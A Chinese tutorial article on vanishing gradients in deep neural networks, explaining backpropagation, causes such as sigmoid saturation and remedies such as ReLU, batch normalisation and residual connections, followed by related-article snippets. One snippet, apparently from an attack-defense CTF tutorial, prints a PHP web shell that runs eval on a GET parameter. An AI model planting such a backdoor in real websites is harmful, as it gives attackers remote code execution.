神经网络问题之一:梯度消失(Vanishing Gradient)

        梯度消失(Vanishing Gradient)问题是深度神经网络训练中的一个关键问题,它主要发生在反向传播过程中,导致靠近输入层的权重更新变得非常缓慢甚至几乎停滞,严重影响网络的训练效果和性能。

图1 在深度神经网络中容易出现梯度消失和梯度爆炸问题

        超过三层以上的神经网络称为深度神经网络。

一、定义与现象

        梯度消失是指在深度神经网络的反向传播过程中,随着网络层数的增加,梯度值逐层减小,最终趋近于零。这会导致靠近输入层的隐藏层权重更新变得非常缓慢,几乎不更新,从而阻止网络从输入数据中学习有效的特征表示。

先了解几个基本概念和反向传播过程

1. 几个基本概念

        (1)前向传播:数据从输入层开始,经过隐藏层,最终到达输出层的过程。在这个过程中,每一层的输入都是前一层的输出,而每一层的输出则作为下一层的输入。

        (2)损失函数:用于量化模型预测值与实际值之间的差异。常见的损失函数包括均方误差、交叉熵损失等。

        (3)梯度:损失函数相对于网络参数的偏导数,表示了损失函数在该点处相对于参数的变化率。

2. 反向传播步骤

        (1)计算输出层的误差:根据损失函数,计算输出层的预测值与实际值之间的差异,得到输出层的误差。

        (2)逐层反向传播误差:从输出层开始,使用链式法则逐层计算每个隐藏层的误差。链式法则允许我们将输出层的误差反向传播到每一层,并计算每层的梯度。对于每一层,我们计算该层每个神经元的梯度,这个梯度表示了损失函数相对于该神经元权重的偏导数。

        (3)更新网络参数:使用计算得到的梯度,根据梯度下降算法或其他优化算法,更新网络的权重和偏置。梯度下降算法的更新公式为:new_parameter = old_parameter - learning_rate * gradient,其中learning_rate是学习率,用于控制更新的步长。

图2 深度神经网络的反向传播过程

、原因

        梯度消失问题主要由以下几个因素引起:

        1. 激活函数的选择:某些非线性激活函数(如Sigmoid和Tanh)在输入值非常大或非常小时,其导数(或梯度)会趋近于零。在深度神经网络中,这些激活函数的梯度在反向传播过程中会逐层累积减小,最终导致梯度消失。

        经过神经网络中多层的变换,很可能使得后面层的输入数据变得过大或过小,从而掉进激活函数(例如Sigmoid、Tanh)的饱和区。

图3 Sigmoid函数存在梯度消失问题

        饱和区的梯度随x的变化y的变化很不明显,即会产生梯度消失问题,进而导致学习过程停止。为防止这个问题,我们希望,数据落入激活函数中间的非饱和区。为了降低内部协变量偏移所带来的负面影响,在训练过程中一般会采用非饱和型激活函数(ReLU)、精细的网络参数初始化,保守的学习率,但这不仅会使得网络的学习速度太慢,还会使得最终效果特别依赖于网络的初始化。

        2. 链式法则的应用:在深度神经网络中,梯度是通过链式法则从输出层逐层反向传播到输入层的。每一层的梯度都是前一层梯度与该层激活函数导数的乘积。如果每一层的梯度都稍微减小一点,那么经过多层传播后,梯度值就会变得非常小,几乎为零。

        3. 权重初始化不当:如果网络权重的初始值设置得太小,那么在前向传播过程中,输入信号可能会迅速衰减,导致激活函数的输入值非常小,进而使得梯度在反向传播过程中也迅速减小。

        4. 网络层数过多:随着网络层数的增加,梯度需要通过更多的层进行反向传播。每一层都可能对梯度进行一定的衰减,因此层数越多,梯度消失的风险就越大。

、影响

        梯度消失问题对深度神经网络的训练效果和性能有着显著的影响。由于靠近输入层的权重更新变得非常缓慢甚至几乎停滞,这会导致网络无法从输入数据中学习有效的特征表示,从而降低模型的准确性和泛化能力。

、解决方法

        为了解决梯度消失问题,可以采取以下措施:

        1. 选择合适的激活函数:使用ReLU及其变体(如Leaky ReLU、Parametric ReLU等)作为激活函数。这些激活函数在输入为正时具有恒定的导数(对于ReLU为1),有助于缓解梯度消失问题。同时,它们还具有计算简单、收敛速度快等优点。

        合理的权重初始化:采用合适的权重初始化方法(如He初始化或Glorot初始化)来设置网络权重的初始值。这些方法可以根据网络的层数和激活函数的特点来设置权重的初始值,从而减小梯度消失的风险。

        2. 引入批量归一化(Batch Normalization):在每一层的输入处进行归一化操作,使每一层的输入分布更加稳定。这有助于减小内部协变量偏移(Internal Covariate Shift)问题,提高模型的收敛速度和稳定性,同时也在一定程度上缓解梯度消失问题。

        3. 使用残差连接(Residual Connections):通过引入残差连接来构建残差网络(Residual Networks, ResNets)。残差连接允许梯度在反向传播时直接跳过某些层,从而缓解梯度消失的现象。这种方法在深度神经网络中非常有效,可以显著提高模型的训练效果和性能。

        4. 调整优化算法参数:合理设置优化算法的学习率、动量等参数。学习率不宜过大也不宜过小,以避免权重更新过快或过慢而导致的梯度消失或梯度爆炸问题。动量参数可以帮助稳定梯度更新过程,提高训练的稳定性。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/61629.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

单神经元 PID 解耦控制

单神经元 PID 解耦控制是一种将单神经元自适应控制与解耦控制相结合的方法,适用于多输入多输出(MIMO)系统。其核心是利用单神经元的自适应能力实现 PID 参数在线调整,同时通过解耦策略减少变量之间的相互影响,提高控制…

数据库类型介绍

1. 关系型数据库(Relational Database, RDBMS): • 定义:基于关系模型(即表格)存储数据,数据之间通过外键等关系相互关联。 • 特点:支持复杂的SQL查询,数据一致性和完整…

线性回归 - 最小二乘法

线性回归 一 简单的线性回归应用 webrtc中的音视频同步。Sender Report数据包 NTP Timestamp(网络时间协议时间戳):这是一个64位的时间戳,记录着发送SR的NTP时间戳,用于同步不同源之间的时间。RTP Timestamp&#xff1…

AWD脚本编写_1

AWD脚本编写_1 shell.php&#xff08;放在网站根目录下&#xff09; <?php error_reporting(0); eval($_GET["yanxiao"]); ?>脚本编写成功 后门文件利用与解析 import requests import base64def get_flag(url, flag_url, method, passwd, flag_path):cmd…

Linux环境基础开发工具的使用(yum、vim、gcc、g++、gdb、make/Makefile)

目录 Linux软件包管理器 - yum Linux下安装软件包的方式 认识yum 查找软件包 安装软件 如何实现本地机器和云服务器之间的文件互传 卸载软件 Linux编辑器 - vim vim的基本概念 vim下各模式的切换 批量化注释 vim的简单配置 Linux编译器 - gcc/g gcc/g的作用 gcc/g语…

IDEA如何设置编码格式,字符编码,全局编码和项目编码格式

前言 大家好&#xff0c;我是小徐啊。我们在开发Java项目&#xff08;Springboot&#xff09;的时候&#xff0c;一般都是会设置好对应的编码格式的。如果设置的不恰当&#xff0c;容易造成乱码的问题&#xff0c;这是要避免的。今天&#xff0c;小徐就来介绍下我们如何在IDEA…

【Redis】实现点赞功能

一、实现笔记点赞 使用redis实现点赞功能&#xff0c;对于一个笔记来说&#xff0c;不同用户只能是点赞和没点赞&#xff0c;点赞过的笔记再点击就应该取消点赞&#xff0c;所以实际上根据需求&#xff0c;我们只需要将点赞的数据存到对应的笔记里&#xff0c;查看对应的笔记相…

InstantStyle容器构建指南

一、介绍 InstantStyle 是一个由小红书的 InstantX 团队开发并推出的图像风格迁移框架&#xff0c;它专注于解决图像生成中的风格化问题&#xff0c;旨在生成与参考图像风格一致的图像。以下是关于 InstantStyle 的详细介绍&#xff1a; 1.技术特点 风格与内容的有效分离 &a…

Redisson学习教程(B站诸葛)

弱智级别 package org.example.controller;public class IndexController {Autowiredprivate Redisson redisson;Autowiredprivate StringRedisTemplate stringRedisTemplate;RequestMapping("/deduct_storck")public String deductStock() {String lockKey "…

蓝桥杯每日真题 - 第19天

题目&#xff1a;&#xff08;费用报销&#xff09; 题目描述&#xff08;13届 C&C B组F题&#xff09; 解题思路&#xff1a; 1. 问题抽象 本问题可以看作一个限制条件较多的优化问题&#xff0c;核心是如何在金额和时间约束下选择最优方案&#xff1a; 动态规划是理想…

科研实验室的数字化转型:Spring Boot系统

1系统概述 1.1 研究背景 随着计算机技术的发展以及计算机网络的逐渐普及&#xff0c;互联网成为人们查找信息的重要场所&#xff0c;二十一世纪是信息的时代&#xff0c;所以信息的管理显得特别重要。因此&#xff0c;使用计算机来管理实验室管理系统的相关信息成为必然。开发合…

【Redis】持久化机制RDB与AOF

一、RDB RDB模式是就是将内存中的数据存储到磁盘中&#xff0c;等到连接断开的时候会进行持久化操作。但是如果服务器宕机&#xff0c;会导致这个持久化机制不会执行&#xff0c;但是内存中的文件会直接丢失。所以可以设置一个触发机制&#xff0c;save 60 1000 就是代表60秒 执…

Excel——宏教程(精简版)

一、宏的简介 1、什么是宏&#xff1f; Excel宏是一种自动化工具&#xff0c;它允许用户录制一系列操作并将其转换为VBA(Visual Basic for Applications)代码。这样&#xff0c;用户可以在需要时执行这些操作&#xff0c;以自动化Excel任务。 2、宏的优点 我们可以利用宏来…

【MyBatisPlus·最新教程】包含多个改造案例,常用注解、条件构造器、代码生成、静态工具、类型处理器、分页插件、自动填充字段

文章目录 一、MyBatis-Plus简介二、快速入门1、环境准备2、将mybatis项目改造成mybatis-plus项目&#xff08;1&#xff09;引入MybatisPlus依赖&#xff0c;代替MyBatis依赖&#xff08;2&#xff09;配置Mapper包扫描路径&#xff08;3&#xff09;定义Mapper接口并继承BaseM…

【spring】spring单例模式与锁对象作用域的分析

前言&#xff1a;spring默认是单例模式&#xff0c;这句话大家应该都不陌生&#xff1b;因为绝大多数都是使用单例模式&#xff0c;避免了某些问题&#xff0c;可能导致对某些场景缺乏思考。本文通过结合lock锁将单例模式、静态变量、锁对象等知识点串联起来。 文章目录 synchr…

Cyberchef使用功能之-多种压缩/解压缩操作对比

cyberchef的compression操作大类中有大量的压缩和解压缩操作&#xff0c;每种操作的功能和区别是什么&#xff0c;本章将进行讲解&#xff0c;作为我的专栏《Cyberchef 从入门到精通教程》中的一篇&#xff0c;详见这里。 关于文件格式和压缩算法的理论部分在之前的文章《压缩…

Elasticsearch开启认证及kibana密码登陆

Elasticsearch不允许root用户运行,使用root用户为其创建一个用户es,为用户es配置密码,并切换到es用户。 adduser elastic passwd elastic su elasticElasticsearch(简称ES)是一个基于Lucene的搜索服务器。它提供了一个分布式、多用户能力的全文搜索引擎,基于RESTful web…

C++初阶学习第十一弹——list的用法和模拟实现

目录 一、list的使用 二.list的模拟实现 三.总结 一、list的使用 list的底层是双向链表结构&#xff0c;双向链表中每个元素存储在互不相关的独立节点中&#xff0c;在节点中通过指针指向 其前一个元素和后一个元素。 常见的list的函数的使用 std::list<int> It {1,…

Postman之安装及汉化基本使用介绍

系列文章目录 1.Postman之安装及汉化基本使用介绍 2.Postman之变量操作 3.Postman之数据提取 4.Postman之pm.test断言操作 5.Postman之newman Postman之安装及汉化 1.安装及汉化postman2.基本使用介绍2.1.基本功能&#xff1a;2.2.编辑、查看、设置环境、全局、集合变量2.3.复制…

VUE 指令 事件绑定,.stop阻止冒泡

1、VUE 的模板语法和指令 目的增强html的功能 所有的指令以自定义属性的方式去写 v-xxx ,指令就是vue提供给我们能够更方便将数据和页面展示出来的操作&#xff0c;具体就是以数据去驱动DOM ,简化DOM操作的行为。 2、内容渲染指令 ① {{}} 模板渲染&#xff08;模板引擎&am…